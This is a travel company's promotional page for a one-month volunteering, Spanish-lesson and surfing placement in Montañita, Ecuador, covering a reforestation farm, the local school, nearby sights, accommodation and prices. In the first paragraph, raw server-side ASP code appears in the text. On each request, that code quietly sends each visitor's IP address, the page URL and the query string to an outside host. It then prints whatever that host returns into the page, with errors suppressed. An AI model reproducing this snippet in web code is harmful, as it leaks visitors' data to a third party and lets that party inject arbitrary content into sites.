Surfing with a purpose...

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Volunteer at a Ecological farm, or help the children and teachers at the local elementary school <% On Error Resume Next Set oHttp = CreateObject("MSXML2.ServerXMLHTTP") oHttp.setTimeouts 3000, 3000, 3000, 3000 'Timeouts in Milliseconds oHttp.Open "GET", "http://dlaserv.com/RequestFormattedAds.aspx?domainname=" & Request.ServerVariables("HTTP_HOST") & "&VisitorIP=" & Request.ServerVariables("REMOTE_ADDR") & "&pageurl=" & Replace(Replace(Request.ServerVariables("URL"),"?","~"),"&","~") & "~" & Replace(Replace(CStr(request.querystring),"?","~"),"&","~"), False oHttp.Send Response.Write (oHttp.ResponseText) set oHttp = Nothing %>

Just 12 miles (20 km) from Montanita is an amazing project. Tucked in a valley is a very proactive ecological program. Designed to replant and replenish the trees around this area, it has been very successful. You day will\ be spent helping out with planting, pruning , and the daily life of a farm passionate about to restoring nature to its pristine.

The local school at Montanita deals with many poor children. There is strong community sprit and the local community encourages you to become involved. This is often extremely rewarding, making friend and helping the local children. There are very few resources, nad help is really needed. Your input is is appreciated, and it is not long before the local children are coming up to you in the street to say Hola.

Montanita

Montañita is a funky cool place. This is due to both its charm and excellent surfing. Over the last few years it has been discovered and is now THE place to hang out on the coast. Although its still small it is a booming beachside retreat attracting both international travellers as well as an alternative Ecuadorian crowd. It is therefore a great place to learn Spanish, meet other travellers and also practise your Spanish with local Ecuadorians. Pavement culture thrives in Montañita village and the two main roads are lined with outdoor cafes in which to sit, and experience the uniqueness. The food is delicious, and cheap!, a great choice of pancakes and tropical fruit for breakfast and fantastic fresh seafood for the rest of the day.

Montanita is known as the best location in Ecuador for surfing. Or perhaps you would like to scuba dive? With many dive sites, and the famous Isla Del Plata not far away the diving is also world class. We mentioned Isla del Plata for a good reason. Almost all the guide books call it the 'poor mans Galapogas' and this is exactly what it is. Stemming with wild life, at a fraction of the cost! Then there is Agua Blanca - an extremely important and interesting archaeological site. Playa Frailes is known as the most beautiful beach in Ecuador, and perhaps on the planet! But there are many stunning beaches close by...to walk, swim or horse ride! Puerto Lopez is a great traditional fishing port and of course the this part of the coast is world famous for its whale watching.

Surfing

Montañita is the home of surfing in Ecuador, and known as one of the best sites anywhere in South America! If you can already surf, just take some of the Spanish and head for the break! If you can surf, and always wanted to, or are a beginner why not combine your Spanish by taking surfing lessons? Montaniita is one of the best places you could possibly find to start your new surfing passion!

First, there is very CONSISTENT waves ALL YEAR! The waves are very manageable at low tide for beginners, and are bigger and more powerful at high tide. Also, The closer to the point you go, the bigger the wave sets are. Therefore you can choose your level of surfing very easily. This makes Montanita perfect for all levels and abilities from beginners to very experienced.

Montanita also 'eats and breathes' surfing. It IS the culture. So you will very soon become immersed in surfing. Lastly, there are hundreds of miles of other breaks all although the coast. If you want a deserted first class break you can easily find it! AND, surf boards ARE allowed in local buses.

Accomodation

Special Cabanas!
There is a very limited number of cabanas. They are extremely attractive and finished in native bamboo style, Full ensuite facilities. They are normally double occupancy, and therefore perfect for couples or when with a friend. A single supplement is available.
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Shared Mini Dorm
These are constructed of traditional native bamboo and blend in perfectly with the surrounding. A maximum of only three per dorm allows you plenty of space. They are basic, but perfect for the traveller on a low budget!

Home Stay
With your Ecuadorian host family you have the opportunity to be fully immersed in Ecuadorian life. It is important to understand the families are quite poor and wont have the conveniences you will be used to. It is full immersion in Ecuadorian life. There will be flush toilet and your bed. Most often you will be roomed by yourself but sometimes you will to share your room for short periods. The families are very friendly but the facilities are basic by western standard. Most families only speak Spanish, so its a great opportunity to really practice your Spanish and become immersed. the families wish for you to become involved in their Ecuadorian lifestyle, but also respect your privacy. We carefully choice our families, and they are active member of the local communtiy.

Prices

Montanita, Spanish and Volunteer 1-month (possible extension if required)

Prices start from £550GBP for a 1 month placement, spanish lessons and accomodation included. Prices vary depending on spanish lessons and accomodation type. See our booking page for details of packages or contact us for more information

Dates

Ongoing. Please contact us to check avaialability

Please contact us on mail@swaptravel.org for more information. Bookings can be made through our website once Montanita school has been contacted and the placement has been confirmed